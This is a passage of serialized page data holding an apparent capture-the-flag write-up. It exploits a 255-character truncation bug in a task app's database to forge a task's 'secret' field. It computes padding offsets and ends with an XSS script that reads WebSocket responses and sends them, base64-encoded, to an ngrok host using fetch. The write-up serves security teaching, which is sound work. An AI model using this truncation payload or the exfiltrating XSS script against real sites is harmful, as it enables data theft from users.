:3269},{"type":29,"tag":128,"props":6119,"children":6120},{"style":188},[6121],{"type":34,"value":793},{"type":29,"tag":128,"props":6123,"children":6124},{"style":205},[6125],{"type":34,"value":4389},{"type":29,"tag":128,"props":6127,"children":6128},{"style":188},[6129],{"type":34,"value":64},{"type":29,"tag":128,"props":6131,"children":6132},{"style":743},[6133],{"type":34,"value":4398},{"type":29,"tag":128,"props":6135,"children":6136},{"style":188},[6137],{"type":34,"value":1337},{"type":29,"tag":128,"props":6139,"children":6140},{"style":194},[6141],{"type":34,"value":4407},{"type":29,"tag":128,"props":6143,"children":6144},{"style":188},[6145],{"type":34,"value":238},{"type":29,"tag":128,"props":6147,"children":6148},{"style":182},[6149],{"type":34,"value":4521},{"type":29,"tag":128,"props":6151,"children":6152},{"style":188},[6153],{"type":34,"value":1099},{"type":29,"tag":128,"props":6155,"children":6156},{"style":194},[6157],{"type":34,"value":422},{"type":29,"tag":128,"props":6159,"children":6160},{"style":188},[6161],{"type":34,"value":238},{"type":29,"tag":128,"props":6163,"children":6164},{"style":216},[6165],{"type":34,"value":1418},{"type":29,"tag":128,"props":6167,"children":6168},{"style":222},[6169],{"type":34,"value":4217},{"type":29,"tag":128,"props":6171,"children":6172},{"style":216},[6173],{"type":34,"value":219},{"type":29,"tag":128,"props":6175,"children":6176},{"style":188},[6177],{"type":34,"value":4445},{"type":29,"tag":128,"props":6179,"children":6180},{"class":130,"line":364},[6181],{"type":29,"tag":128,"props":6182,"children":6183},{"style":188},[6184],{"type":34,"value":1363},{"type":29,"tag":128,"props":6186,"children":6187},{"class":130,"line":407},[6188],{"type":29,"tag":128,"props":6189,"children":6190},{"style":188},[6191],{"type":34,"value":2829},{"type":29,"tag":36,"props":6193,"children":6195},{"id":6194},"data-column",[6196,6201],{"type":29,"tag":49,"props":6197,"children":6199},{"className":6198},[],[6200],{"type":34,"value":4195},{"type":34,"value":6202}," column",{"type":29,"tag":43,"props":6204,"children":6205},{},[6206,6207,6212],{"type":34,"value":3541},{"type":29,"tag":49,"props":6208,"children":6210},{"className":6209},[],[6211],{"type":34,"value":4195},{"type":34,"value":6213}," column have this definition:",{"type":29,"tag":114,"props":6215,"children":6216},{"lang":718},[6217],{"type":29,"tag":119,"props":6218,"children":6220},{"code":6219,"language":718,"meta":7,"className":723,"style":7},"data VARCHAR(255) NOT NULL,\n",[6221],{"type":29,"tag":49,"props":6222,"children":6223},{"__ignoreMap":7},[6224],{"type":29,"tag":128,"props":6225,"children":6226},{"class":130,"line":131},[6227,6231,6235,6239,6243,6247,6251],{"type":29,"tag":128,"props":6228,"children":6229},{"style":182},[6230],{"type":34,"value":4195},{"type":29,"tag":128,"props":6232,"children":6233},{"style":135},[6234],{"type":34,"value":827},{"type":29,"tag":128,"props":6236,"children":6237},{"style":749},[6238],{"type":34,"value":793},{"type":29,"tag":128,"props":6240,"children":6241},{"style":796},[6242],{"type":34,"value":799},{"type":29,"tag":128,"props":6244,"children":6245},{"style":749},[6246],{"type":34,"value":804},{"type":29,"tag":128,"props":6248,"children":6249},{"style":182},[6250],{"type":34,"value":809},{"type":29,"tag":128,"props":6252,"children":6253},{"style":749},[6254],{"type":34,"value":814},{"type":29,"tag":43,"props":6256,"children":6257},{},[6258,6260,6265],{"type":34,"value":6259},"So we can't store more than 255 characters. If we try to store more than 255 characters, the content will be truncated. It really nice because our big problem is we don't have the key to decrypt the data. With this we will able to overwrite the ",{"type":29,"tag":49,"props":6261,"children":6263},{"className":6262},[],[6264],{"type":34,"value":1552},{"type":34,"value":5819},{"type":29,"tag":36,"props":6267,"children":6269},{"id":6268},"constructing-our-payload",[6270],{"type":34,"value":6271},"Constructing our payload",{"type":29,"tag":43,"props":6273,"children":6274},{},[6275],{"type":34,"value":6276},"We know that this line is used to insert in database and there are any protection against long string.",{"type":29,"tag":114,"props":6278,"children":6279},{"lang":1056},[6280],{"type":29,"tag":119,"props":6281,"children":6283},{"code":6282,"language":1056,"meta":7,"className":1057,"style":7},"await db.addTask(userId, `{\"title\":\"${data.title}\",\"description\":\"${data.description}\",\"secret\":\"${secret}\"}`);\n",[6284],{"type":29,"tag":49,"props":6285,"children":6286},{"__ignoreMap":7},[6287],{"type":29,"tag":128,"props":6288,"children":6289},{"class":130,"line":131},[6290,6295,6299,6303,6307,6311,6315,6319,6323,6327,6331,6335,6339,6343,6347,6351,6355,6359,6363,6367,6371,6375,6379,6383,6387,6391,6395],{"type":29,"tag":128,"props":6291,"children":6292},{"style":182},[6293],{"type":34,"value":6294},"await",{"type":29,"tag":128,"props":6296,"children":6297},{"style":205},[6298],{"type":34,"value":1230},{"type":29,"tag":128,"props":6300,"children":6301},{"style":188},[6302],{"type":34,"value":64},{"type":29,"tag":128,"props":6304,"children":6305},{"style":743},[6306],{"type":34,"value":4262},{"type":29,"tag":128,"props":6308,"children":6309},{"style":188},[6310],{"type":34,"value":793},{"type":29,"tag":128,"props":6312,"children":6313},{"style":205},[6314],{"type":34,"value":1197},{"type":29,"tag":128,"props":6316,"children":6317},{"style":188},[6318],{"type":34,"value":1099},{"type":29,"tag":128,"props":6320,"children":6321},{"style":216},[6322],{"type":34,"value":4279},{"type":29,"tag":128,"props":6324,"children":6325},{"style":222},[6326],{"type":34,"value":4284},{"type":29,"tag":128,"props":6328,"children":6329},{"style":182},[6330],{"type":34,"value":4289},{"type":29,"tag":128,"props":6332,"children":6333},{"style":222},[6334],{"type":34,"value":4195},{"type":29,"tag":128,"props":6336,"children":6337},{"style":188},[6338],{"type":34,"value":64},{"type":29,"tag":128,"props":6340,"children":6341},{"style":222},[6342],{"type":34,"value":4302},{"type":29,"tag":128,"props":6344,"children":6345},{"style":182},[6346],{"type":34,"value":4307},{"type":29,"tag":128,"props":6348,"children":6349},{"style":222},[6350],{"type":34,"value":4312},{"type":29,"tag":128,"props":6352,"children":6353},{"style":182},[6354],{"type":34,"value":4289},{"type":29,"tag":128,"props":6356,"children":6357},{"style":222},[6358],{"type":34,"value":4195},{"type":29,"tag":128,"props":6360,"children":6361},{"style":188},[6362],{"type":34,"value":64},{"type":29,"tag":128,"props":6364,"children":6365},{"style":222},[6366],{"type":34,"value":4329},{"type":29,"tag":128,"props":6368,"children":6369},{"style":182},[6370],{"type":34,"value":4307},{"type":29,"tag":128,"props":6372,"children":6373},{"style":222},[6374],{"type":34,"value":4338},{"type":29,"tag":128,"props":6376,"children":6377},{"style":182},[6378],{"type":34,"value":4289},{"type":29,"tag":128,"props":6380,"children":6381},{"style":222},[6382],{"type":34,"value":1552},{"type":29,"tag":128,"props":6384,"children":6385},{"style":182},[6386],{"type":34,"value":4307},{"type":29,"tag":128,"props":6388,"children":6389},{"style":222},[6390],{"type":34,"value":4355},{"type":29,"tag":128,"props":6392,"children":6393},{"style":216},[6394],{"type":34,"value":4360},{"type":29,"tag":128,"props":6396,"children":6397},{"style":188},[6398],{"type":34,"value":900},{"type":29,"tag":43,"props":6400,"children":6401},{},[6402,6404,6409],{"type":34,"value":6403},"We need to calculate offset. To generate our payload, to add as we want in the ",{"type":29,"tag":49,"props":6405,"children":6407},{"className":6406},[],[6408],{"type":34,"value":4195},{"type":34,"value":6410}," column.",{"type":29,"tag":43,"props":6412,"children":6413},{},[6414],{"type":34,"value":6415},"We need to keep theses elements, and we need to generate an secret.",{"type":29,"tag":114,"props":6417,"children":6418},{},[6419],{"type":29,"tag":119,"props":6420,"children":6422},{"code":6421},"{\"title\":\"a\", => 13\n\"description\":\"\", => 17\n\"secret\":\"f3eeaa82370f7e9bfbc2caf16f6d19b7\",} => 45\n",[6423],{"type":29,"tag":49,"props":6424,"children":6425},{"__ignoreMap":7},[6426],{"type":34,"value":6421},{"type":29,"tag":43,"props":6428,"children":6429},{},[6430],{"type":34,"value":6431},"13 + 17 + 45 => 75\n255 - (75 - 1) => 181",{"type":29,"tag":43,"props":6433,"children":6434},{},[6435,6437,6442],{"type":34,"value":6436},"We remove one on our result because we want to close the string at the end of description:\nIf we retake the line of ",{"type":29,"tag":49,"props":6438,"children":6440},{"className":6439},[],[6441],{"type":34,"value":3565},{"type":34,"value":238},{"type":29,"tag":114,"props":6444,"children":6445},{"lang":1056},[6446],{"type":29,"tag":119,"props":6447,"children":6449},{"code":6448,"language":1056,"meta":7,"className":1057,"style":7},"await db.addTask(userId, `{\"title\":\"${data.title}\",\"description\":\"${data.description}\u003CSTOP_HERE>\",\"secret\":\"${secret}\"}`);\n",[6450],{"type":29,"tag":49,"props":6451,"children":6452},{"__ignoreMap":7},[6453],{"type":29,"tag":128,"props":6454,"children":6455},{"class":130,"line":131},[6456,6460,6464,6468,6472,6476,6480,6484,6488,6492,6496,6500,6504,6508,6512,6516,6520,6524,6528,6532,6536,6541,6545,6549,6553,6557,6561],{"type":29,"tag":128,"props":6457,"children":6458},{"style":182},[6459],{"type":34,"value":6294},{"type":29,"tag":128,"props":6461,"children":6462},{"style":205},[6463],{"type":34,"value":1230},{"type":29,"tag":128,"props":6465,"children":6466},{"style":188},[6467],{"type":34,"value":64},{"type":29,"tag":128,"props":6469,"children":6470},{"style":743},[6471],{"type":34,"value":4262},{"type":29,"tag":128,"props":6473,"children":6474},{"style":188},[6475],{"type":34,"value":793},{"type":29,"tag":128,"props":6477,"children":6478},{"style":205},[6479],{"type":34,"value":1197},{"type":29,"tag":128,"props":6481,"children":6482},{"style":188},[6483],{"type":34,"value":1099},{"type":29,"tag":128,"props":6485,"children":6486},{"style":216},[6487],{"type":34,"value":4279},{"type":29,"tag":128,"props":6489,"children":6490},{"style":222},[6491],{"type":34,"value":4284},{"type":29,"tag":128,"props":6493,"children":6494},{"style":182},[6495],{"type":34,"value":4289},{"type":29,"tag":128,"props":6497,"children":6498},{"style":222},[6499],{"type":34,"value":4195},{"type":29,"tag":128,"props":6501,"children":6502},{"style":188},[6503],{"type":34,"value":64},{"type":29,"tag":128,"props":6505,"children":6506},{"style":222},[6507],{"type":34,"value":4302},{"type":29,"tag":128,"props":6509,"children":6510},{"style":182},[6511],{"type":34,"value":4307},{"type":29,"tag":128,"props":6513,"children":6514},{"style":222},[6515],{"type":34,"value":4312},{"type":29,"tag":128,"props":6517,"children":6518},{"style":182},[6519],{"type":34,"value":4289},{"type":29,"tag":128,"props":6521,"children":6522},{"style":222},[6523],{"type":34,"value":4195},{"type":29,"tag":128,"props":6525,"children":6526},{"style":188},[6527],{"type":34,"value":64},{"type":29,"tag":128,"props":6529,"children":6530},{"style":222},[6531],{"type":34,"value":4329},{"type":29,"tag":128,"props":6533,"children":6534},{"style":182},[6535],{"type":34,"value":4307},{"type":29,"tag":128,"props":6537,"children":6538},{"style":222},[6539],{"type":34,"value":6540},"\u003CSTOP_HERE>\",\"secret\":\"",{"type":29,"tag":128,"props":6542,"children":6543},{"style":182},[6544],{"type":34,"value":4289},{"type":29,"tag":128,"props":6546,"children":6547},{"style":222},[6548],{"type":34,"value":1552},{"type":29,"tag":128,"props":6550,"children":6551},{"style":182},[6552],{"type":34,"value":4307},{"type":29,"tag":128,"props":6554,"children":6555},{"style":222},[6556],{"type":34,"value":4355},{"type":29,"tag":128,"props":6558,"children":6559},{"style":216},[6560],{"type":34,"value":4360},{"type":29,"tag":128,"props":6562,"children":6563},{"style":188},[6564],{"type":34,"value":900},{"type":29,"tag":114,"props":6566,"children":6568},{"lang":6567},"bash",[6569],{"type":29,"tag":119,"props":6570,"children":6573},{"code":6571,"language":6567,"meta":7,"className":6572,"style":7},"python -c \"print('A'*181)\" | pbcopy\n","language-bash shiki shiki-themes vitesse-dark",[6574],{"type":29,"tag":49,"props":6575,"children":6576},{"__ignoreMap":7},[6577],{"type":29,"tag":128,"props":6578,"children":6579},{"class":130,"line":131},[6580,6585,6590,6594,6599,6603,6608],{"type":29,"tag":128,"props":6581,"children":6582},{"style":743},[6583],{"type":34,"value":6584},"python",{"type":29,"tag":128,"props":6586,"children":6587},{"style":141},[6588],{"type":34,"value":6589}," -c",{"type":29,"tag":128,"props":6591,"children":6592},{"style":216},[6593],{"type":34,"value":2220},{"type":29,"tag":128,"props":6595,"children":6596},{"style":222},[6597],{"type":34,"value":6598},"print('A'*181)",{"type":29,"tag":128,"props":6600,"children":6601},{"style":216},[6602],{"type":34,"value":432},{"type":29,"tag":128,"props":6604,"children":6605},{"style":135},[6606],{"type":34,"value":6607}," |",{"type":29,"tag":128,"props":6609,"children":6610},{"style":743},[6611],{"type":34,"value":6612}," pbcopy\n",{"type":29,"tag":43,"props":6614,"children":6615},{},[6616],{"type":34,"value":6617},"So we have our payload:",{"type":29,"tag":114,"props":6619,"children":6620},{"lang":1332},[6621],{"type":29,"tag":119,"props":6622,"children":6625},{"code":6623,"language":1332,"meta":7,"className":6624,"style":7},"{\n  \"action\": \"add\",\n  \"title\":\"a\",\n  \"description\": \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\\",\\\"secret\\\":\\\"f3eeaa82370f7e9bfbc2caf16f6d19b7\"\n}\n","language-json shiki shiki-themes vitesse-dark",[6626],{"type":29,"tag":49,"props":6627,"children":6628},{"__ignoreMap":7},[6629,6637,6674,6710,6776],{"type":29,"tag":128,"props":6630,"children":6631},{"class":130,"line":131},[6632],{"type":29,"tag":128,"props":6633,"children":6634},{"style":188},[6635],{"type":34,"value":6636},"{\n",{"type":29,"tag":128,"props":6638,"children":6639},{"class":130,"line":151},[6640,6646,6650,6654,6658,6662,6666,6670],{"type":29,"tag":128,"props":6641,"children":6643},{"style":6642},"--shiki-default:#B8A96577",[6644],{"type":34,"value":6645},"  \"",{"type":29,"tag":128,"props":6647,"children":6648},{"style":194},[6649],{"type":34,"value":4204},{"type":29,"tag":128,"props":6651,"children":6652},{"style":6642},[6653],{"type":34,"value":432},{"type":29,"tag":128,"props":6655,"children":6656},{"style":188},[6657],{"type":34,"value":238},{"type":29,"tag":128,"props":6659,"children":6660},{"style":216},[6661],{"type":34,"value":2220},{"type":29,"tag":128,"props":6663,"children":6664},{"style":222},[6665],{"type":34,"value":4217},{"type":29,"tag":128,"props":6667,"children":6668},{"style":216},[6669],{"type":34,"value":432},{"type":29,"tag":128,"props":6671,"children":6672},{"style":188},[6673],{"type":34,"value":814},{"type":29,"tag":128,"props":6675,"children":6676},{"class":130,"line":169},[6677,6681,6685,6689,6693,6697,6702,6706],{"type":29,"tag":128,"props":6678,"children":6679},{"style":6642},[6680],{"type":34,"value":6645},{"type":29,"tag":128,"props":6682,"children":6683},{"style":194},[6684],{"type":34,"value":4302},{"type":29,"tag":128,"props":6686,"children":6687},{"style":6642},[6688],{"type":34,"value":432},{"type":29,"tag":128,"props":6690,"children":6691},{"style":188},[6692],{"type":34,"value":238},{"type":29,"tag":128,"props":6694,"children":6695},{"style":216},[6696],{"type":34,"value":432},{"type":29,"tag":128,"props":6698,"children":6699},{"style":222},[6700],{"type":34,"value":6701},"a",{"type":29,"tag":128,"props":6703,"children":6704},{"style":216},[6705],{"type":34,"value":432},{"type":29,"tag":128,"props":6707,"children":6708},{"style":188},[6709],{"type":34,"value":814},{"type":29,"tag":128,"props":6711,"children":6712},{"class":130,"line":246},[6713,6717,6721,6725,6729,6733,6738,6743,6747,6751,6755,6759,6763,6767,6772],{"type":29,"tag":128,"props":6714,"children":6715},{"style":6642},[6716],{"type":34,"value":6645},{"type":29,"tag":128,"props":6718,"children":6719},{"style":194},[6720],{"type":34,"value":4329},{"type":29,"tag":128,"props":6722,"children":6723},{"style":6642},[6724],{"type":34,"value":432},{"type":29,"tag":128,"props":6726,"children":6727},{"style":188},[6728],{"type":34,"value":238},{"type":29,"tag":128,"props":6730,"children":6731},{"style":216},[6732],{"type":34,"value":2220},{"type":29,"tag":128,"props":6734,"children":6735},{"style":222},[6736],{"type":34,"value":6737},"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",{"type":29,"tag":128,"props":6739,"children":6740},{"style":141},[6741],{"type":34,"value":6742},"\\\"",{"type":29,"tag":128,"props":6744,"children":6745},{"style":222},[6746],{"type":34,"value":1099},{"type":29,"tag":128,"props":6748,"children":6749},{"style":141},[6750],{"type":34,"value":6742},{"type":29,"tag":128,"props":6752,"children":6753},{"style":222},[6754],{"type":34,"value":1552},{"type":29,"tag":128,"props":6756,"children":6757},{"style":141},[6758],{"type":34,"value":6742},{"type":29,"tag":128,"props":6760,"children":6761},{"style":222},[6762],{"type":34,"value":238},{"type":29,"tag":128,"props":6764,"children":6765},{"style":141},[6766],{"type":34,"value":6742},{"type":29,"tag":128,"props":6768,"children":6769},{"style":222},[6770],{"type":34,"value":6771},"f3eeaa82370f7e9bfbc2caf16f6d19b7",{"type":29,"tag":128,"props":6773,"children":6774},{"style":216},[6775],{"type":34,"value":3758},{"type":29,"tag":128,"props":6777,"children":6778},{"class":130,"line":298},[6779],{"type":29,"tag":128,"props":6780,"children":6781},{"style":188},[6782],{"type":34,"value":2829},{"type":29,"tag":36,"props":6784,"children":6786},{"id":6785},"final-payload",[6787],{"type":34,"value":6788},"Final payload",{"type":29,"tag":43,"props":6790,"children":6791},{},[6792,6794,6799,6801,6809],{"type":34,"value":6793},"We need to generate a script to be triggered by the ",{"type":29,"tag":49,"props":6795,"children":6797},{"className":6796},[],[6798],{"type":34,"value":2161},{"type":34,"value":6800}," script with the xss vuln on the first service.\nWe also need to setup an ",{"type":29,"tag":6701,"props":6802,"children":6806},{"href":6803,"rel":6804},"https://github.com/owalid/express-sec/",[6805],"nofollow",[6807],{"type":34,"value":6808},"express-sec",{"type":34,"value":6810}," with ngrok to get command output.",{"type":29,"tag":114,"props":6812,"children":6813},{"lang":1056},[6814],{"type":29,"tag":119,"props":6815,"children":6817},{"code":6816,"language":1056,"meta":7,"className":1057,"style":7},"\u003Cscript>\nconst s = async () => {\n  const w = new WebSocket(`ws://127.0.0.1/ws`);\n  w.onopen = async () => {\n    w.send(JSON.stringify({action:'add',title:\"a\",description: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\",\"secret\":\"f3eeaa82370f7e9bfbc2caf16f6d19b7\"}'}));\n    setTimeout(() => {w.send(JSON.stringify({action:'get'}));}, 1000);\n  };\n  w.onmessage = async (msg) => {\n    fetch(`http://0c5f-91-69-133-214.ngrok.io/exploit/${btoa(msg.data)}`, {mode: 'no-cors'});\n  };\n};\ns();\n\u003C/script>\n",[6818],{"type":29,"tag":49,"props":6819,"children":6820},{"__ignoreMap":7},[6821,6836,6848,6900,6937,7047,7135,7147,7191,7283,7294,7305,7313],{"type":29,"tag":128,"props":6822,"children":6823},{"class":130,"line":131},[6824,6828,6832],{"type":29,"tag":128,"props":6825,"children":6826},{"style":188},[6827],{"type":34,"value":138},{"type":29,"tag":128,"props":6829,"children":6830},{"style":182},[6831],{"type":34,"value":682},{"type":29,"tag":128,"props":6833,"children":6834},{"style":188},[6835],{"type":34,"value":148},{"type":29,"tag":128,"props":6837,"children":6838},{"class":130,"line":151},[6839,6844],{"type":29,"tag":128,"props":6840,"children":6841},{"style":749},[6842],{"type":34,"value":6843},"const s = async () => ",{"type":29,"tag":128,"props":6845,"children":6846},{"style":188},[6847],{"type":34,"value":6636},{"type":29,"tag":128,"props":6849,"children":6850},{"class":130,"line":169},[6851,6856,6861,6865,6870,6875,6879,6883,6888,6892,6896],{"type":29,"tag":128,"props":6852,"children":6853},{"style":205},[6854],{"type":34,"value":6855},"  const",{"type":29,"tag":128,"props":6857,"children":6858},{"style":205},[6859],{"type":34,"value":6860}," w",{"type":29,"tag":128,"props":6862,"children":6863},{"style":188},[6864],{"type":34,"value":1220},{"type":29,"tag":128,"props":6866,"children":6867},{"style":135},[6868],{"type":34,"value":6869}," new",{"type":29,"tag":128,"props":6871,"children":6872},{"style":743},[6873],{"type":34,"value":6874}," WebSocket",{"type":29,"tag":128,"props":6876,"children":6877},{"style":188},[6878],{"type":34,"value":793},{"type":29,"tag":128,"props":6880,"children":6881},{"style":216},[6882],{"type":34,"value":4360},{"type":29,"tag":128,"props":6884,"children":6885},{"style":222},[6886],{"type":34,"value":6887},"ws://127.0.0.1/ws",{"type":29,"tag":128,"props":6889,"children":6890},{"style":216},[6891],{"type":34,"value":4360},{"type":29,"tag":128,"props":6893,"children":6894},{"style":188},[6895],{"type":34,"value":1127},{"type":29,"tag":128,"props":6897,"children":6898},{"style":749},[6899],{"type":34,"value":2234},{"type":29,"tag":128,"props":6901,"children":6902},{"class":130,"line":246},[6903,6908,6912,6917,6921,6925,6929,6933],{"type":29,"tag":128,"props":6904,"children":6905},{"style":205},[6906],{"type":34,"value":6907},"  w",{"type":29,"tag":128,"props":6909,"children":6910},{"style":188},[6911],{"type":34,"value":64},{"type":29,"tag":128,"props":6913,"children":6914},{"style":743},[6915],{"type":34,"value":6916},"onopen",{"type":29,"tag":128,"props":6918,"children":6919},{"style":188},[6920],{"type":34,"value":1220},{"type":29,"tag":128,"props":6922,"children":6923},{"style":135},[6924],{"type":34,"value":1104},{"type":29,"tag":128,"props":6926,"children":6927},{"style":188},[6928],{"type":34,"value":3865},{"type":29,"tag":128,"props":6930,"children":6931},{"style":188},[6932],{"type":34,"value":1132},{"type":29,"tag":128,"props":6934,"children":6935},{"style":188},[6936],{"type":34,"value":1137},{"type":29,"tag":128,"props":6938,"children":6939},{"class":130,"line":298},[6940,6945,6949,6953,6957,6961,6965,6969,6973,6977,6981,6985,6989,6993,6997,7001,7005,7009,7013,7017,7021,7025,7029,7033,7038,7042],{"type":29,"tag":128,"props":6941,"children":6942},{"style":205},[6943],{"type":34,"value":6944},"    w",{"type":29,"tag":128,"props":6946,"children":6947},{"style":188},[6948],{"type":34,"value":64},{"type":29,"tag":128,"props":6950,"children":6951},{"style":743},[6952],{"type":34,"value":3269},{"type":29,"tag":128,"props":6954,"children":6955},{"style":188},[6956],{"type":34,"value":793},{"type":29,"tag":128,"props":6958,"children":6959},{"style":205},[6960],{"type":34,"value":4389},{"type":29,"tag":128,"props":6962,"children":6963},{"style":188},[6964],{"type":34,"value":64},{"type":29,"tag":128,"props":6966,"children":6967},{"style":743},[6968],{"type":34,"value":4398},{"type":29,"tag":128,"props":6970,"children":6971},{"style":188},[6972],{"type":34,"value":1337},{"type":29,"tag":128,"props":6974,"children":6975},{"style":194},[6976],{"type":34,"value":4204},{"type":29,"tag":128,"props":6978,"children":6979},{"style":188},[6980],{"type":34,"value":238},{"type":29,"tag":128,"props":6982,"children":6983},{"style":216},[6984],{"type":34,"value":219},{"type":29,"tag":128,"props":6986,"children":6987},{"style":222},[6988],{"type":34,"value":4217},{"type":29,"tag":128,"props":6990,"children":6991},{"style":216},[6992],{"type":34,"value":219},{"type":29,"tag":128,"props":6994,"children":6995},{"style":188},[6996],{"type":34,"value":1099},{"type":29,"tag":128,"props":6998,"children":6999},{"style":194},[7000],{"type":34,"value":4302},{"type":29,"tag":128,"props":7002,"children":7003},{"style":188},[7004],{"type":34,"value":238},{"type":29,"tag":128,"props":7006,"children":7007},{"style":216},[7008],{"type":34,"value":432},{"type":29,"tag":128,"props":7010,"children":7011},{"style":222},[7012],{"type":34,"value":6701},{"type":29,"tag":128,"props":7014,"children":7015},{"style":216},[7016],{"type":34,"value":432},{"type":29,"tag":128,"props":7018,"children":7019},{"style":188},[7020],{"type":34,"value":1099},{"type":29,"tag":128,"props":7022,"children":7023},{"style":194},[7024],{"type":34,"value":4329},{"type":29,"tag":128,"props":7026,"children":7027},{"style":188},[7028],{"type":34,"value":238},{"type":29,"tag":128,"props":7030,"children":7031},{"style":216},[7032],{"type":34,"value":1418},{"type":29,"tag":128,"props":7034,"children":7035},{"style":222},[7036],{"type":34,"value":7037},"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\",\"secret\":\"f3eeaa82370f7e9bfbc2caf16f6d19b7\"}",{"type":29,"tag":128,"props":7039,"children":7040},{"style":216},[7041],{"type":34,"value":219},{"type":29,"tag":128,"props":7043,"children":7044},{"style":188},[7045],{"type":34,"value":7046},"}));\n",{"type":29,"tag":128,"props":7048,"children":7049},{"class":130,"line":323},[7050,7055,7060,7064,7068,7073,7077,7081,7085,7089,7093,7097,7101,7105,7109,7113,7117,7121,7126,7131],{"type":29,"tag":128,"props":7051,"children":7052},{"style":743},[7053],{"type":34,"value":7054},"    setTimeout",{"type":29,"tag":128,"props":7056,"children":7057},{"style":188},[7058],{"type":34,"value":7059},"(()",{"type":29,"tag":128,"props":7061,"children":7062},{"style":188},[7063],{"type":34,"value":1132},{"type":29,"tag":128,"props":7065,"children":7066},{"style":188},[7067],{"type":34,"value":2432},{"type":29,"tag":128,"props":7069,"children":7070},{"style":205},[7071],{"type":34,"value":7072},"w",{"type":29,"tag":128,"props":7074,"children":7075},{"style":188},[7076],{"type":34,"value":64},{"type":29,"tag":128,"props":7078,"children":7079},{"style":743},[7080],{"type":34,"value":3269},{"type":29,"tag":128,"props":7082,"children":7083},{"style":188},[7084],{"type":34,"value":793},{"type":29,"tag":128,"props":7086,"children":7087},{"style":205},[7088],{"type":34,"value":4389},{"type":29,"tag":128,"props":7090,"children":7091},{"style":188},[7092],{"type":34,"value":64},{"type":29,"tag":128,"props":7094,"children":7095},{"style":743},[7096],{"type":34,"value":4398},{"type":29,"tag":128,"props":7098,"children":7099},{"style":188},[7100],{"type":34,"value":1337},{"type":29,"tag":128,"props":7102,"children":7103},{"style":194},[7104],{"type":34,"value":4204},{"type":29,"tag":128,"props":7106,"children":7107},{"style":188},[7108],{"type":34,"value":238},{"type":29,"tag":128,"props":7110,"children":7111},{"style":216},[7112],{"type":34,"value":219},{"type":29,"tag":128,"props":7114,"children":7115},{"style":222},[7116],{"type":34,"value":459},{"type":29,"tag":128,"props":7118,"children":7119},{"style":216},[7120],{"type":34,"value":219},{"type":29,"tag":128,"props":7122,"children":7123},{"style":188},[7124],{"type":34,"value":7125},"}));},",{"type":29,"tag":128,"props":7127,"children":7128},{"style":796},[7129],{"type":34,"value":7130}," 1000",{"type":29,"tag":128,"props":7132,"children":7133},{"style":188},[7134],{"type":34,"value":900},{"type":29,"tag":128,"props":7136,"children":7137},{"class":130,"line":364},[7138,7143],{"type":29,"tag":128,"props":7139,"children":7140},{"style":188},[7141],{"type":34,"value":7142},"  }",{"type":29,"tag":128,"props":7144,"children":7145},{"style":749},[7146],{"type":34,"value":2234},{"type":29,"tag":128,"props":7148,"children":7149},{"class":130,"line":407},[7150,7154,7158,7163,7167,7171,7175,7179,7183,7187],{"type":29,"tag":128,"props":7151,"children":7152},{"style":205},[7153],{"type":34,"value":6907},{"type":29,"tag":128,"props":7155,"children":7156},{"style":188},[7157],{"type":34,"value":64},{"type":29,"tag":128,"props":7159,"children":7160},{"style":743},[7161],{"type":34,"value":7162},"onmessage",{"type":29,"tag":128,"props":7164,"children":7165},{"style":188},[7166],{"type":34,"value":1220},{"type":29,"tag":128,"props":7168,"children":7169},{"style":135},[7170],{"type":34,"value":1104},{"type":29,"tag":128,"props":7172,"children":7173},{"style":188},[7174],{"type":34,"value":191},{"type":29,"tag":128,"props":7176,"children":7177},{"style":205},[7178],{"type":34,"value":4059},{"type":29,"tag":128,"props":7180,"children":7181},{"style":188},[7182],{"type":34,"value":1127},{"type":29,"tag":128,"props":7184,"children":7185},{"style":188},[7186],{"type":34,"value":1132},{"type":29,"tag":128,"props":7188,"children":7189},{"style":188},[7190],{"type":34,"value":1137},{"type":29,"tag":128,"props":7192,"children":7193},{"class":130,"line":470},[7194,7199,7203,7207,7212,7216,7221,7225,7229,7233,7237,7241,7245,7249,7253,7257,7262,7266,7270,7275,7279],{"type":29,"tag":128,"props":7195,"children":7196},{"style":743},[7197],{"type":34,"value":7198},"    fetch",{"type":29,"tag":128,"props":7200,"children":7201},{"style":188},[7202],{"type":34,"value":793},{"type":29,"tag":128,"props":7204,"children":7205},{"style":216},[7206],{"type":34,"value":4360},{"type":29,"tag":128,"props":7208,"children":7209},{"style":222},[7210],{"type":34,"value":7211},"http://0c5f-91-69-133-214.ngrok.io/exploit/",{"type":29,"tag":128,"props":7213,"children":7214},{"style":182},[7215],{"type":34,"value":4289},{"type":29,"tag":128,"props":7217,"children":7218},{"style":743},[7219],{"type":34,"value":7220},"btoa",{"type":29,"tag":128,"props":7222,"children":7223},{"style":188},[7224],{"type":34,"value":793},{"type":29,"tag":128,"props":7226,"children":7227},{"style":222},[7228],{"type":34,"value":4059},{"type":29,"tag":128,"props":7230,"children":7231},{"style":188},[7232],{"type":34,"value":64},{"type":29,"tag":128,"props":7234,"children":7235},{"style":222},[7236],{"type":34,"value":4195},{"type":29,"tag":128,"props":7238,"children":7239},{"style":188},[7240],{"type":34,"value":1127},{"type":29,"tag":128,"props":7242,"children":7243},{"style":18